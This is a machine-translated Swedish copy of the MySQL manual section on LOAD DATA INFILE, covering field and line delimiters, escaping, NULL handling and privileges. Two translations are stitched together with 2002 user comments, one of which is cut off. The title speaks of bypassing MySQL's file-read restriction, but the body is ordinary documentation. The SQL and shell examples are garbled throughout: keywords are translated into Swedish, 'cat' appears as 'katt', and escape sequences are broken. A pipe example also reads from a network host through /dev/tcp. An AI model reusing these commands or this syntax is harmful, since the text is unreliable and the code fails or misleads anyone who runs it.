MySQL referensmanual. Förbigå MySQL-filläsningsbegränsning PHP och MySQL-interaktion

LADDA DATAINFIL "file_name.txt" I TABELL tbl_name [ OMGIFT AV ""] ] [(kolnamn,...)]

Kommandot LOAD DATA INFILE läser rader från en textfil och infogar dem i en tabell med mycket hög hastighet. Om nyckelordet LOCAL anges läses filen från klientvärden. Om LOCAL inte anges måste filen finnas på servern. (Det LOKALA alternativet är tillgängligt i MySQL version 3.22.6 och senare.)

Om textfilerna som ska läsas finns på servern måste dessa filer av säkerhetsskäl antingen finnas i databaskatalogen eller kunna läsas av alla användare. För att kunna använda kommandot LOAD DATA INFILE på serverfiler måste du dessutom ha FILE-behörighet på servervärden. Se avsnitt 4.2.7 Behörigheter beviljade av MySQL.

I MySQL 3.23.49 och MySQL 4.0.2 kommer kommandot LOCAL inte att fungera om mysqld-demonen startas med --local-infile=0 eller om klienten inte har LOCAL-stöd aktiverat. Se avsnitt 4.2.4 Säkerhetsöverväganden relaterade till kommandot LOAD DATA LOCAL.

Om nyckelordet LOW_PRIORITY anges, kommer exekveringen av detta LOAD DATA-kommando att fördröjas tills andra klienter har läst klart den här tabellen.

Om nyckelordet CONCURRENT anges när du arbetar med MyISAM-tabeller, kan andra trådar hämta data från tabellen under körningen av kommandot LOAD DATA. Att använda den här funktionen kommer naturligtvis att ha en liten prestandapåverkan på LOAD DATA , även om ingen annan tråd använder tabellen samtidigt.

När du använder alternativet LOKALT kan exekveringen vara något långsammare än att tillåta servern att komma åt filerna direkt, eftersom innehållet i filen måste flyttas från klientvärden till servern. Å andra sidan, i det här fallet finns det inget behov av FILE-privilegier för att ladda lokala filer.

Om du använder versioner av MySQL före 3.23.24 kan du inte läsa från en FIFO med kommandot LOAD DATA INFILE. Om det är nödvändigt att läsa från en FIFO (till exempel standardutgången för gunzip), ska LOAD DATA LOCAL INFILE användas.

Du kan också ladda datafiler med hjälp av mysqlimport-verktyget. Det här verktyget utför filladdning genom att skicka LOAD DATA INFILE-kommandon till servern. Alternativet --local gör att mysqlimport läser datafiler från klientvärden. Du kan ange alternativet --compress för att få bättre prestanda över långsamma nätverk om både klient och server stöder datakomprimeringsprotokollet.

I de fall där filerna finns på servern agerar den senare enligt följande regler:

  • Om en absolut (full) sökväg till en fil ges, så använder servern denna sökväg utan modifiering.
  • Om en relativ sökväg till filen specificeras, med angivande av en eller flera hemkataloger, kommer sökningen efter filen att vara relativ till de angivna katalogerna i serverns datakatalog (datadir).
  • Om en sökväg till en fil ges utan att specificera hemkataloger, letar servern efter filen i katalogen för den databas som används.

Det följer att filen som anges som `./myfile.txt" läses från serverns datakatalog, medan filen specificerad som `myfile.txt" läses från databaskatalogen som används. Till exempel läser följande LOAD DATA-kommando filen data.txt i databaskatalogen för db1 eftersom db1 är den aktuella databasen, även om kommandot uttryckligen instruerar den att läsa in filen i db2-databastabellen:

MySQL> ANVÄND db1; mysql> LADDA DATAINFIL "data.txt" I TABELL db2.my_table;

Nyckelorden REPLACE och IGNORE styr bearbetningen av indataposter som duplicerar befintliga poster med samma unika nyckelvärden. Om REPLACE anges kommer nya rader att ersätta befintliga rader med samma unika nyckel. Om du anger IGNORE kommer inmatningsrader som har samma unika nyckel som befintliga att ignoreras. Om ingen av parametrarna anges, uppstår ett fel när ett duplicerat nyckelvärde hittas och resten av textfilen ignoreras.

Om data laddas från en lokal fil med nyckelordet LOCAL, kommer servern inte att kunna avbryta dataöverföringen i mitten av denna operation, så standardbeteendet för kommandot är detsamma som när IGNORE anges.

När du använder LOAD DATA INFILE på tomma MyISAM-tabeller skapas alla icke-unika index i ett separat paket (som i REPAIR). Detta påskyndar vanligtvis LOAD DATA INFILE-operationen avsevärt i fallet med ett stort antal index.

Kommandot LOAD DATA INFILE är komplementärt till SELECT ... INTO OUTFILE . Se avsnitt 6.4.1 Syntax för SELECT-satsen. För att skriva data från databasen till en fil, använd SELECT ... INTO OUTFILE . För att läsa tillbaka data till databasen används LOAD DATA INFILE. Syntaxen för FIELDS och LINES är densamma i båda kommandona. Båda delarna är valfria, men om båda är specificerade måste FIELDS föregå LINES .

Om FÄLT är specificerat är vart och ett av dess underuttryck (AVSLUTAD AV , OMSLUTAD AV och ESCAPED AV ) också valfritt, men minst ett av dem måste anges.

Om FIELDS-påståendet inte är definierat, kommer dess parametrar som standard att ha följande värden:

FÄLT AVSLUTADE AV "\t" OMSLUTAS AV "" ESCAPED AV "\\"

Om LINES-satsen inte är definierad, har den som standard följande struktur:

RADER AVSLUTADE AV "\n"

Med andra ord, med standardinställningarna, kommer kommandot LOAD DATA INFILE, när du läser indata, att fungera enligt följande:

  • Sök efter radslut som `\n'-tecken
  • Dela upp rader i fält med tabbtecken.
  • Förvänta dig inte att fält omges av citattecken.
  • Tolka förekomsten av flikar, nyrader eller `\" föregås av `\" som bokstaver som är en del av fältets värde.

Omvänt, om standardinställningarna för att skriva ut är i kraft, kommer kommandot SELECT ... INTO OUTFILE att fungera enligt följande:

  • Infoga tabbtecken mellan fälten.
  • Omslut inte fält med citationstecken. Använd `\"-tecken för att escape tabb-, nyrads- eller `\"-instanser som visas bland fältvärden.
  • Infoga nyradstecken i slutet av varje post.

Observera att posten FÄLT ESCAPED BY `\" kräver två omvänt snedstreck för att ett värde ska läsas som ett enda snedstreck.

Alternativet IGNORE number LINES kan användas för att ignorera rubriken på kolumnnamn i början av en fil:

Mysql> LADDA DATAINFIL "/tmp/filnamn" I TABELL test IGNORERA 1 RADER;

När du använder SELECT ... INTO OUTFILE med LOAD DATA INFILE för att läsa data från databasen till en fil och sedan tillbaka från filen till databasen, måste fält- och radbehandlingsalternativen för båda kommandona matcha. Annars kommer LOAD DATA INFILE inte att kunna tolka innehållet i denna fil korrekt. Anta att kommandot SELECT ... INTO OUTFILE används för att skriva till en fil med fält separerade med kommatecken:

Mysql> SELECT * INTO OUTFIL "data.txt" FÄLT AVSLUTADE AV "," FROM ...;

Mysql> LADDA DATAINFIL "data.txt" I TABELL Tabell 2 FÄLT AVSLUTADE AV ",";

Mysql> LADDA DATAINFIL "data.txt" I TABELL Tabell 2 FÄLT AVSLUTADE AV "\t";

Ett liknande resultat skulle erhållas om varje ingångsrad tolkades som ett separat fält.

Kommandot LOAD DATA INFILE kan också användas för att läsa filer från externa källor. Till exempel kommer fält i en fil i dBASE-databasformat att separeras med kommatecken och omges av dubbla citattecken. Om raderna i den här filen slutar med nya rader, kan följande kommando användas för att skriva filen, vilket illustrerar inställningsalternativ som bearbetar fält och rader:

Mysql> LADDA DATAINFIL "data.txt" I TABELL tbl_name FÄLT AVSLUTADE AV "," OMSLUTAS AV """ LADDER AVSLUTADE AV "\n";

Alla alternativ som hanterar fält och rader kan vara en tom sträng (""). Om strängen inte är tom, måste värdena för alternativen FIELDS ENCLOSED BY och FIELDS ESCAPED BY innehålla ett tecken. FÄLT AVSLUTADE AV och LINJER AVSLUTADE AV alternativvärden kan innehålla mer än ett tecken. Till exempel, för att skriva rader som slutar på ``carriage return - line feed''-par (som i MS DOS- eller Windows-textfiler), skulle du ange följande uttryck: LINES TERMINATED BY "\r\n" .

SKAPA TABELL skämt (en INT NOT NULL AUTO_INCREMENT PRIMARY KEY, skämt TEXT INTE NULL); LADDA DATAINFIL "/tmp/jokes.txt" I TABELL skämt FÄLT AVSLUTADE AV ""; LINJER AVSLUTADE AV "\n%%\n" (skämt);

Alternativet FÄLT OMSLUTAS AV styr fält som är inneslutna av givna tecken. Om parametern VALFRIGT utelämnas, kommer alla fält i utgången (SELECT ... INTO OUTFILE) att omges av de tecken som anges i OMSLUTAD AV . Ett exempel på sådan utdata (som använder kommatecken som fältavgränsare) visas nedan:

"1","en sträng","100.20" "2","en sträng som innehåller ett , komma","102.20" "3","en sträng som innehåller ett \"citat","102.20" "4"," en sträng som innehåller ett \", citat och kommatecken","102.20"

Om parametern VALFRIGT anges, väljs endast fält av typerna CHAR och VARCHAR med tecknet som anges i OMSLUTAD AV:

1,"en sträng",100.20 2,"en sträng som innehåller ett , kommatecken",102.20 3,"en sträng som innehåller ett \"citat",102.20 4,"en sträng som innehåller ett \", citat och kommatecken",102.20

Observera att förekomsten av ESCAPED BY-tecken i fältvärdet undviks genom att ett prefix från ESCAPED BY appliceras före dem. Observera också att om ESCAPED BY är null är det möjligt att generera utdata som LOAD DATA INFILE-satsen inte kan läsa korrekt. Till exempel, om escape-tecknet är en tom sträng, kommer utdata ovan att vara som visas nedan. Observera att det andra fältet på den fjärde raden innehåller ett kommatecken följt av ett citattecken, som (felaktigt) verkar avgränsa det givna fältet:

1,"en sträng",100.20 2,"en sträng som innehåller ett , kommatecken",102.20 3,"en sträng som innehåller ett "citat",102.20 4,"en sträng som innehåller ett ", citationstecken och kommatecken",102.20

För inmatning tas tecknet INKLUDET AV, om det finns, bort från båda ändarna av fältvärdena. (Detta gäller oavsett om parametern OPTIONALLY är specificerad eller inte: parametern OPTIONALLY ignoreras när man arbetar med inmatningen.) Om ett ESCAPED BY-tecken påträffas som föregås av ett ESCAPED BY-tecken, tolkas det som en del av fältets nuvarande värde. Dessutom tolkas dubbla ENCLOSED BY-tecken som förekommer inom ett fält som enkla ENCLOSED BY-tecken om själva fältet börjar med det tecknet. Till exempel, om OMSLUTAD AV """ anges, hanteras citat enligt följande:

"Den "STORA""-chefen" -> Den "STORA"-chefen Den "STORA"-chefen -> Den "STORA"-chefen ""STORA""-chefen -> ""STORA""-chefen

Alternativet FÄLT ESCAPED BY styr skrivning eller läsning av specialtecken. Om tecknet FIELDS ESCAPED BY inte är tomt, används det som ett prefix för följande tecken i utdata:

  • FÄLT SOM ÄR UNDLYMNING AV symbol
  • FÄLT MED symbol
  • Första tecknet i FÄLT AVSLUTADE AV och LINJER AVSLUTADE AV
  • ASCII-tecken 0 (egentligen skrivs ASCII `0" efter escape-tecknet, inte en nollbyte)

Om tecknet FÄLT ESCAPED BY är tomt, är inga tecken escaped. Det är faktiskt ingen idé att ange ett tomt escape-tecken, särskilt om fältvärdena i data som bearbetas innehåller något av tecknen i listan ovan.

Om tecknet FIELDS ESCAPED BY inte är tomt, tas förekomster av ett sådant tecken bort, i fallet med inmatning, och tecknet efter en sådan händelse tas bokstavligt som en del av fältets värde. Undantag är escaped `0" eller `N" (t.ex. \0 eller \N om escape-tecknet är `\"). Dessa sekvenser tolkas som ASCII 0 (en byte med värdet noll) och NULL . Se reglerna för hantera ett nullvärde nedan. .

Se avsnitt 6.1.1 Bokstaver: Representerar strängar och siffror för mer information om syntaxen för escape-tecknet `\'.

I vissa fall samverkar fält- och radbehandlingsalternativ:

  • Om LINES TERMINATED BY är en tom sträng och FIELDS TERMINATED BY är en icke-tom sträng, så slutar raderna också med FÄLT TERMINATED BY .
  • Om både FÄLT AVSLUTADE och FÄLT AVSLUTADE AV är tomma (""), används det fasta strängformatet (inga avgränsare). Det fasta strängformatet tillhandahåller inga avgränsare mellan fält. Istället, när du läser och skriver kolumnvärden, används "output""-bredden på kolumnerna. Till exempel, om en kolumn deklareras som INT(7) skrivs värdena för den kolumnen med fält som är 7 tecken breda. Ingångsvärdena för denna kolumn erhålls genom att läsa 7 tecken. Det fasta strängformatet påverkar också hanteringen av NULL-värden (se nedan). Observera att formatet med fast storlek inte fungerar när du använder en multibyte-teckenuppsättning.

NULL-värden kommer att hanteras på olika sätt beroende på FIELDS och LINES-alternativen som används:

  • För standardvärdena FIELDS och LINES skrivs NULL som \N på utdata och \N läses som NULL vid inmatning (förutsatt att ESCAPED BY-tecknet är `\").
  • Om FÄLT OMSLUTAD AV inte är tomt, läses ett fält vars värde är ett ord med NULL-bokstäver som ett NULL-värde (i motsats till ett NULL-ord mellan FÄLT OMSLUTAD AV tecken, som läses som strängen " NULL ").
  • Om FIELDS ESCAPED BY är tomt, skrivs NULL som NULL-ordet.
  • I fast strängformat (vilket inträffar om både FÄLT SOM AVSLUTAS AV och FÄLT OMSLUTAS AV specifikationer är tomma), skrivs NULL som den tomma strängen. Observera att, som ett resultat, kommer NULL-värdet och den tomma strängen i den här tabellen att vara omöjliga att särskilja när de skrivs till filen, eftersom de båda skrivs som tomma strängar. Om du vill att dessa värden ska vara annorlunda när filen läses tillbaka, bör du inte använda det fasta strängformatet.

Vissa fall stöds inte av LOAD DATA INFILE-satsen:

  • Rader med fast storlek (FÄLT AVSLUTADE AV och FÄLT AVSLUTADE är båda tomma) och kolumner BLOB eller TEXT.
  • Om en avgränsare specificeras som matchar eller är ett prefix till en annan, kommer LOAD DATA INFILE inte att kunna tolka inmatningen korrekt. Till exempel kommer följande FIELDS-sats att orsaka problem: FÄLT AVSLUTADE AV """ OMSLUTAS AV """
  • Om alternativet FÄLT ESCAPED BY är tomt, kommer förekomsten av ett FÄLT OMSLUTAD AV eller LINES TERMINATED BY-tecken i ett fältvärde följt av ett FÄLT TERMINERAD AV-tecken att göra att kommandot LOAD DATA INFILE avslutar läsningen av fältet eller raden i förtid. Detta beror på att LOAD DATA INFILE inte korrekt kan avgöra var ett fält eller en rad slutar.

Följande exempel laddar alla kolumner i persondatatabellen:

Mysql> LADDA DATAINFIL "persondata.txt" I TABELL persondata;

Listan med fält är inte specificerad, så kommandot LOAD DATA INFILE förväntar sig att inmatningsrader fylls i varje kolumn i tabellen. Detta använder standardvärdena FIELDS och LINES.

Om du bara vill ladda några av tabellens kolumner måste du ange en lista med kolumner:

Mysql> LADDA DATAINFIL "persondata.txt" I TABELL persondata (col1,col2,...);

Listan över fält måste också anges i de fall ordningen på fälten i inmatningsfilen skiljer sig från ordningen på kolumnerna i den givna tabellen. Annars kommer MySQL inte att kunna mappa inmatningsfälten till tabellkolumnerna.

Om en rad har för få fält, ställs de kolumner för vilka det inte finns några fält i inmatningsfilen till sina standardvärden. Tilldelningen av standardvärden beskrivs i avsnitt 6.5.3 Syntax för CREATE TABLE-satsen.

Värdet på ett tomt fält tolkas annorlunda än frånvaron av ett värde:

  • För strängtyper är kolumnen satt till den tomma strängen.
  • För numeriska typer är kolumnen satt till 0 .
  • För datum- och tidstyper är kolumnen satt till lämpligt värde "noll"' för den typen. Se avsnitt 6.2.2 Datatyper för datum och tid.

Observera att det här är samma värden som skulle hamna i en kolumn genom att explicit tilldela en tom sträng till kolumner med sträng-, numeriska eller datum- eller tidstyper i en INSERT- eller UPDATE-sats.

TIMESTAMP-kolumner är endast inställda på det aktuella datumet eller tiden om kolumnen är inställd på NULL eller (endast för den första TIMESTAMP-kolumnen) om TIMESTAMP-kolumnen är utanför fältlistan, om en sådan lista är angiven.

Om inmatningssträngen har för många fält ignoreras de extra fälten och antalet varningar kommer att öka.

Kommandot LOAD DATA INFILE tolkar all indata som strängar, så du kan inte ange numeriska värden för ENUM- eller SET-kolumner på samma sätt som för INSERT-kommandon. Alla ENUM- och SET-värden måste anges som strängar!

När du använder C API kan du få information om en fråga genom att anropa mysql_info() API-funktionen i slutet av en LOAD DATA INFILE-fråga. Följande visar formatet på informationsraden för detta fall:

Poster: 1 Raderad: 0 Överhoppad: 0 Varningar: 0

Varningar utfärdas under samma omständigheter som när man skriver värden med ett INSERT-kommando (se avsnitt 6.4.3 INSERT Statement Syntax), förutom att kommandot LOAD DATA INFILE dessutom genererar varningar när det finns för få eller för många fält i ingången sträng. Varningar lagras inte någonstans; antalet varningar kan endast användas för att kontrollera om de angivna åtgärderna genomfördes normalt. Om du vill veta exakt vad som orsakar varningar, bör du VÄLJA ... INTO UTFIL till en annan fil och jämföra resultatet med den ursprungliga indatafilen - detta är det enda sättet att få denna information.

Om du behöver LADDA DATA för att läsa från ett rör kan du använda följande knep:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFIL "x" I TABELL x" x

När du använder en version av MySQL äldre än 3.23.25, kan ovanstående endast göras med LOAD DATA LOCAL INFILE .

För mer information om effektiviteten hos INSERT kontra LOAD DATA INFILE och hastighetsökningen för LOAD DATA INFILE, se avsnitt 5.2.9 Hastighet för INSERT-förfrågan.

Användarkommentarer

Postat av Jason Titus[Radera][Redigera]

"Varningarna lagras inte någonstans; antalet varningar kan bara användas som en
indikation om allt gick bra"

Du måste skämta med mig. Görs detta som något slags DBA-straff? dvs. - Vi
VET vad problemen var, men du måste bara bygga en utdatafil och titta igenom
dina miljontals poster för att hitta dem". Använde inte MySQL för att lägga in dessa i felloggen,
vart hör de hemma? Gå vidare och gör det till ett alternativ, men det här är tillräckligt med besvär att göra
jag byter tillbaka till Oracle (och det tar mycket).

Postat av Campbell fredagen den 17 maj 2002, kl. 06:24[Radera][Redigera]

För det andra det. (!) Jag förstår inte hur du
skriv den meningen med rakt ansikte.

Upplagt av Jonathan Padfield fredagen den 17 maj 2002, kl 06:24[Radera][Redigera]

Dessutom finns det ingen information om vilka rader som hoppas över
är given.

Postat av fredagen den 17 maj 2002, kl 06:24[Radera][Redigera]

Denna funktion är mycket användbar när du skickar in en
INFOGA från en webbsida. Om användaren träffar
uppdatera och posta om formulärdata som resulterar i en
efterföljande INSERT av samma primära nyckeldata,
boom, appen går sönder. På så sätt kunde användaren
tryck på F5 tills deras ansikte blir blått, och de
bryter inte REPLACE-satsen.

[Radera][Redigera]

Jag har en MyDB-mapp i c:\mysql\data
Jag placerar där Data.txt och när jag kör
LADDA DATA LOKAL INFIL "Data.txt" I TABELL
MyTable står det: Kommandot har körts
men INGA värden läggs till i MyTable.
Jag är under W2K

Postat av van hoof philip fredagen den 17 maj 2002, kl 06:24[Radera][Redigera]

Jag vill synkronisera min databas med en annan
databas då och då. Det betyder att jag
måste använda REPLACE-grejen. Men vad sägs om
skivor som inte längre finns i de nyare
databas. Kommer de att raderas i MySQL-en?
Finns det något sätt att automatiskt radera dessa? Eller är det
enda lösningen för att släppa min MySQL-tabell och återskapa
innan jag börjar LADDA den. Jag använder crontab
skript för denna operation så ingen mänsklig interaktion
är möjligt under dessa operationer.

Postat av fredagen den 17 maj 2002, kl 06:24[Radera][Redigera]

Dokumentationen är oklart om vad
utgör en "unik" nyckel/index inom detta område. Det
bakåtreferenser till "insert", men insert gör det inte
har en sådan begränsning. Jag har hittat det primära
nycklar är tillräckligt unika, men jag har varit tvungen att lägga till
primärval där jag inte ville ha dem, kanske jag
något saknas....

Postat av fredagen den 17 maj 2002, kl 06:24[Radera][Redigera]

Det är väldigt frustrerande att få varningar när man är det
importera data till en MySQL-databas
kunna komma åt all information om varningarna.
MySQL behöver verkligen lägga till en funktion som gör det
rapportera vad en varning handlar OM snarare än bara
rapportera en varning. Helst informationen om
varningen ska ges omedelbart. På
det allra minsta bör vara någon form av fellogg
skapat som en användare kan komma åt.

Postat av fredagen den 17 maj 2002, kl 06:24[Radera][Redigera]

På ämnet "F5 tills deras ansikte blir blå"...

Detta ska hanteras i ansökan. Det
skadar verkligen inte att säga till användaren "Du" har
redan angett detta. Snälla sluta uppdatera."

Faktiskt, på grund av antalet hyperotåliga slutet
förlorare där ute, verkar detta som en särskilt
bra idé.

Postat av Larry Irwin tisdagen den 20 augusti 2002, klockan 11:50[Radera][Redigera]

Det skulle vara till stor hjälp att ha ett extra alternativ
till "IGNORE BEGRÄNSNINGAR" under laddningen
bearbeta.

Postat av torsdagen den 5 september 2002, kl 01:34[Radera][Redigera]

Det finns en hake med "på ett tomt MyISAM-bord, alla
icke-unika index skapas i en separat batch"
eftersom mekanismen som används är en "reparation med
keycache" som kan vara väldigt långsam om du har många
index. Man måste verkligen använda mekanismen för att
stoppa nycklar som skapas och gör sedan reparationen med
myisamchk med "reparation med sortering" som beskrivs i
avsnitt 5.2.9 (om du kan få det att fungera:-()

Postat av onsdagen den 9 oktober 2002, klockan 12:43[

Syntax LADDA DATAINFIL

LADDA DATAINFIL" filnamn. txt" I TABELL tabellnamn
[OMHÅLLS AV"]
]
]
[(kolumnnamn,...)]
LOAD DATA INFILE-satsen läser rader från en textfil och laddar dem i en tabell med mycket hög hastighet.
Du kan också ladda datafiler med hjälp av mysql-importverktyget. Det fungerar genom att skicka en LOAD data INFILE-sats till servern. Alternativet --local gör att mysqlimport-verktyget läser datafilen från klientvärden. Du kan ange alternativet -compress för att förbättra prestandan på långsamma nätverk om klienten och servern stöder det komprimerade protokollet.
Om nyckelordet LOW_PRIORITY anges fördröjs exekveringen av LOAD DATA-satsen tills alla andra klienter har läst klart.
Om nyckelordet CONCURRENT anges med en MyISAM-tabell som uppfyller villkoret för parallella insättningar (det vill säga den har inga fria block i mitten av filen), så kommer andra trådar att kunna hämta data från tabellen samtidigt som LOAD DATA exekveras. Att använda det här alternativet har en liten prestandapåverkan på LADDA DATA, även om ingen annan tråd fungerar med den här tabellen.
Om nyckelordet LOCAL anges hänvisar det till klientsidan av anslutningen.

  1. Om ordet LOCAL anges läses filen av klientprogrammet på klientens värd och skickas till servern.
  2. Om det LOKALA ordet inte anges måste den uppladdade filen finnas på serverns värd och läsas direkt av servern.

LOCAL är tillgängligt i MySQL 3.22.6 och senare.
Av säkerhetsskäl måste filerna vid läsning av textfiler som finns på servern antingen finnas i datakatalogen eller vara läsbara av alla. För att kunna använda LOAD DATA med serverfiler måste du också ha FILE-behörigheten.
Nedladdning med alternativet LOKALT går något långsammare än när du ger servern möjlighet att direkt komma åt de nedladdade filerna, eftersom innehållet i filerna i detta fall överförs över nätverket via klient-serverservern på rätt anslutning. Å andra sidan behöver du inte FILE-privilegier i det här fallet.
Från och med MySQL 3.23.49 och MySQL 4.0.2 (4.0.13 på Windows), fungerar LOCAL bara om både klient och server tillåter det. Till exempel, om mysqld startas med alternativet -local-inf ile=0, kommer LOCAL inte att fungera.

Om du behöver använda LOAD DATA för att läsa från ett programrör kan du använda följande teknik:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
katt< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "LADDA DATAINFIL "x1 I TABELL x" x
Om du kör en version av MySQL före 3.23.25, kan denna teknik endast användas med LOAD DATA LOCAL INFILE.
Om du har en version av MySQL tidigare än 3.23.24, kommer du inte att kunna läsa med satsen LOAD DATA INFILE från en FIFO. Om du behöver läsa från en FIFO (t.ex. gunzip-utgång), använd LOAD DATA LOCAL INFILE istället.
När du söker efter en fil i dess filsystem styrs servern av följande regler:

  1. Om en absolut sökväg anges använder servern den som den är.
  2. Om en relativ sökväg med en eller flera ledande komponenter ges, letar servern efter filer i förhållande till sin datakatalog.
  3. Om ett filnamn utan inledande sökvägskomponenter ges, letar servern efter filen i standarddatabasdatakatalogen.

Observera att dessa regler innebär att en fil med namnet ./myfile.txt läses från serverns datakatalog, medan en fil med namnet myfile,txt läses från databasens standarddatakatalog. Till exempel läser följande LOAD DATA INFILE-sats filen data.txt från dbl-databasens datakatalog eftersom dbl är den aktuella databasen, även om satsen laddar data till db2-databasen:
mysql> ANVÄND dbl;
mysql> LADDA DATAINFIL "data.txt" I TABELL db2.my_table;
Nyckelorden REPLACE och IGNORE styr hanteringen av inmatningssträngar som duplicerar befintliga unika nycklar efter värde.
Om REPLACE anges ersätter inmatningsraderna befintliga rader (med andra ord rader som har samma primära eller unika nyckelvärden som befintliga rader i tabellen). Se ERSÄTT syntax
Om IGNORE anges ignoreras inmatningsrader som duplicerar befintliga rader med samma primära eller unika nyckelvärden. Om inget av alternativen anges beror beteendet på om det lokala nyckelordet har angetts. I frånvaro av LOCAL genereras ett fel om en dubblettnyckel hittas, och resten av textfilen ignoreras. Om LOCAL är närvarande är standardbeteendet detsamma som om IGNORE angavs. Detta beror på att servern inte kan stoppa filöverföringen medan den här åtgärden pågår.
Om du vill ignorera begränsningar för främmande nyckel under en dataladdningsoperation kan du utfärda en SET FOREIGN_KEY_CHECKS=0-sats innan du kör LOAD DATA.
Om du kör LOAD DATA på en tom MyISAM-tabell skapas alla icke-unika index i ett separat jobb (som för REPAIR TABLE). Detta resulterar vanligtvis i att LOAD DATA är mycket snabbare när det finns många index. Detta är i allmänhet mycket snabbt, men i vissa speciella fall kan du skapa index ännu snabbare genom att stänga av dem med ALTER TABLE.. .DISABLE KEYS innan du laddar

filen till tabellen, återskapa indexen och aktivera dem med ALTER TABLE.. .ENABLE KEYS efter att laddningen är klar.
LOAD DATA INFILE är ett tillägg till SELECT.. .INTO OUTFILE. Se VÄLJ Syntax För att skriva data från en tabell till en fil, använd VÄLJ... INTO UTFIL. För att läsa tillbaka data från en fil till en tabell, använd LOAD DATA INFILE. Syntaxen för FIELDS- och LINES-konstruktionerna är densamma för båda satserna. Båda dessa konstruktioner är valfria, men fält måste föregå LINES om båda är specificerade.
Om FIELDS-konstruktionen är specificerad är alla dess parametrar (TERMINATED BY, ENCLOSED BY och ESCAPED BY) också valfria, förutom kravet att minst en parameter måste finnas.
Om FIELDS-konstruktionen inte är specificerad, är den som standard:
FÄLT AVSLUTADE AV "tf OMGÅNGDA AV "ESCAPED BY"
Om LINES inte anges är standardinställningen:
RADER AVSLUTADE AV "n! BÖRJAR AV"
Med andra ord, standardbeteendet för LOAD DATA INFILE vid läsning av indata är:

  1. Leta efter radavgränsare i början av raderna.
  2. Hoppa inte över några strängprefix.
  3. Dela upp en rad i fält med tabbtecken.
  4. Förvänta dig inte att fält citeras.
  5. Tolka förekomsten av en tabb, nyrad eller "\" som föregås av en \ som bokstavliga tecken som är en del av fältets värde.

Omvänt, SELECT ... INTO OUTFILE beter sig så här som standard:

  1. Skriver flikar mellan fält.
  2. Omger inte fältvärden med citattecken.
  • Använder *" för att markera flikar, nya rader eller "\" som förekommer inom fältvärden.
  • Skriver ett nyradstecken i slutet av rader.
Observera att skrivning av FÄLT SOM ESCAPED BY "W skulle kräva två omvänt snedstreck för värden som behöver läsa ett enda snedstreck.
På en notis!
Om du skapade en textfil på ett Windows-system kan du behöva ange LINJER SOM AVSLUTAS AV "rn för att läsa filen korrekt, eftersom Windows-program vanligtvis använder dessa två tecken som radavgränsare. Vissa program, som WordPad, kan använda tecknet "r " som radavgränsare För att läsa sådana filer, använd LINJER SOM AVSLUTAS AV "r".
Om alla rader i filen som läses har ett gemensamt prefix som du vill ignorera, använd RADER SOM BÖRJAR MED " strängprefix för att hoppa över detta prefix. Om strängen inte innehåller ett prefix hoppas den över i sin helhet.

IGNOREra alternativet kvantitet LINES används för att ignorera ett givet antal rader i början av en fil. Till exempel kan du använda IGNORE I LINES för att hoppa över den inledande raden som innehåller kolumnnamnen:
mysql> LADDA DATAINFIL "/tmp/test.txt" -> I TABELL test IGNORERA 1 RADER;
När du använder SELECT... INTO OUTFILE i kombination med LOAD DATA INFILE för att skriva data från databasen till en fil och sedan läsa den och ladda tillbaka den till databasen, måste rad- och fältkontrollalternativen för båda satserna matcha. Annars kommer LOAD DATA INFILE inte att kunna tolka innehållet i textfilen korrekt. Låt oss anta att du matar ut data till en textfil med SELECT.. .INTO OUTFILE, separerar fälten med kommatecken:
mysql> VÄLJ* INTO UTFIL "data.txt" -> FÄLT AVSLUTADE AV"," -> FRÅN tabell2;
För att läsa tillbaka en kommaseparerad fil är det rätta att göra:
mysql> LADDA DATAINFIL "data.txt1 I TABELL tabell2 -> FÄLT AVSLUTADE AV
Om du istället försöker läsa den med satsen nedan kommer det inte att fungera eftersom LOAD DATA INFILE kommer att leta efter flikar mellan fältvärden:
mysql> LADDA DATAINFIL "data.txt" I TABELL tabell2 -> FÄLT AVSLUTADE AV "t";
Det mest troliga resultatet skulle vara att tolka inmatningssträngen som ett enda fält.
LOAD DATA INFILE kan också användas för att läsa filer från externa källor. Till exempel kan en fil ha fält separerade med kommatecken och omslutna av dubbla citattecken. Om rader i en fil är separerade av ett nyradstecken, illustrerar följande exempel vilka rad- och kolumnavgränsningsalternativ som måste ställas in för att ladda en fil:
mysql> LADDA DATAINFIL "data.txt" I TABELLtabellnamn-> FÄLT AVSLUTADE AV 1,1 AVSLUTADE AV "" -> LINJER AVSLUTADE AV"n";
Alla alternativ som anger rad- och kolumnavgränsare kan ges tomma strängar ("") som argument. Om argumenten inte är tomma strängar, så MÅSTE värdena FÖR FÄLT OMGÅNGDA AV OCH FÄLT SOM ESCAPES AV vara ENTECKENSALTERNATIV. FÄLT AVSLUTADE ALTERNATIV Argument BY, RADER SOM BÖRJAR AV och RADER AVSLUTADE AV kan vara mer än ett tecken långa. För att till exempel skriva rader åtskilda av vagnretur/radmatningar, eller för att läsa filer som innehåller sådana rader, använd RADER SOM AVSLUTAS AV "rn".
För att läsa en fil separerad av rader med %% tecken kan du göra följande:
mysql> SKAPA BORD skämt
-> (en INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> skämt TEXT INTE NULL);

mysql> LADDA IN DATAINFIL "/tmp/jokes,txf I TABELL skämt -> FÄLT AVSLUTADE AV "" -> RADER AVSLUTADE AV "\n%%\n" (skämt);
FÄLT OMGIVNA AV kontrollerar fältavgränsare (citattecken). I utgången (SELECT ... INTO OUTFILE), om du utelämnar ordet VALFRITT, kommer alla fält att omges av tecknet som anges i OMSLUTAD AV. Ett exempel på sådan utdata (med kommatecken som fältavgränsare) visas nedan:
"1","en sträng","100,20"
"2","en sträng som innehåller ett , kommatecken","102.20"
"3","en sträng som innehåller ett \"citat","102.20"
"4","en sträng som innehåller ett \", citat och kommatecken","102.20"
Om du anger VALFRITT, gäller tecknet INKLUSIV AV endast för att citera CHAR- och VARCHAR-fält:
1"en sträng",100,20
3,"en sträng som innehåller ett "citat",102.20
4,"en sträng som innehåller ett ", citat och kommatecken",102.20
Observera att förekomster av tecknet som anges i OMSLUTAD AV i fältvärdet föregås av tecknet som anges i ESCAPED BY. Dessutom, om du anger ett tomt värde för ESCAPED BY, är det möjligt att en fil kommer att genereras som LOAD DATA INFILE inte kan laddas korrekt.
